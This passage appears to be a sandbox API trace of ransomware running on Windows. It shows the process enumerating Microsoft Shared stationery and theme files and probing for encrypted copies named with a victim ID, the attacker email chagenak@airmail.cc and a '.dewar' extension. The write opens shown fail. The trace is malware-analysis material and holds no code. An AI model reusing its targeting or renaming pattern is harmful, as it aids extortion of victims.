[0239.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.247] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=37316) returned 1 [0239.247] CloseHandle (hObject=0x1e0) returned 1 [0239.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0239.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0239.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.248] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=237) returned 1 [0239.248] CloseHandle (hObject=0x1e0) returned 1 [0239.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0239.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0239.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.256] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4734) returned 1 [0239.256] CloseHandle (hObject=0xe0) returned 1 [0239.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0239.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0239.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.257] SetEvent (hEvent=0x118) returned 1 [0239.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.260] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=81292) returned 1 [0239.260] CloseHandle (hObject=0xe0) returned 1 [0239.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0239.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0239.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.261] SetEvent (hEvent=0x118) returned 1 [0239.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.262] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1990) returned 1 [0239.262] CloseHandle (hObject=0xe0) returned 1 [0239.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0239.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0239.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.266] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=232) returned 1 [0239.266] CloseHandle (hObject=0xe0) returned 1 [0239.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0239.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0239.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.267] SetEvent (hEvent=0x118) returned 1 [0239.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.273] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=10569) returned 1 [0239.273] CloseHandle (hObject=0x1e0) returned 1 [0239.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0239.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0239.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.274] SetEvent (hEvent=0x118) returned 1 [0239.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.275] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=230) returned 1 [0239.275] CloseHandle (hObject=0x1e0) returned 1 [0239.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0239.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0239.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.279] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7505) returned 1 [0239.279] CloseHandle (hObject=0x1e0) returned 1 [0239.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0239.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0239.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.280] SetEvent (hEvent=0x118) returned 1 [0239.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.286] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1864) returned 1 [0239.286] CloseHandle (hObject=0x1e0) returned 1 [0239.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0239.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0239.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.290] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3650) returned 1 [0239.290] CloseHandle (hObject=0x1e0) returned 1 [0239.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0239.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0239.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.291] SetEvent (hEvent=0x118) returned 1 [0239.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.292] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4638) returned 1 [0239.292] CloseHandle (hObject=0x1e0) returned 1 [0239.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0239.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0239.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.293] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=26720) returned 1 [0239.294] CloseHandle (hObject=0x1e0) returned 1 [0239.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0239.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0239.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.441] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3168) returned 1 [0239.441] CloseHandle (hObject=0x1e0) returned 1 [0239.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0239.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0239.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.442] SetEvent (hEvent=0x118) returned 1 [0239.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.769] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=513) returned 1 [0239.769] CloseHandle (hObject=0x200) returned 1 [0239.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0239.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0239.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.770] SetEvent (hEvent=0x118) returned 1 [0239.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.963] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1925) returned 1 [0239.963] CloseHandle (hObject=0x1e0) returned 1 [0239.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0239.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0239.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.964] SetEvent (hEvent=0x118) returned 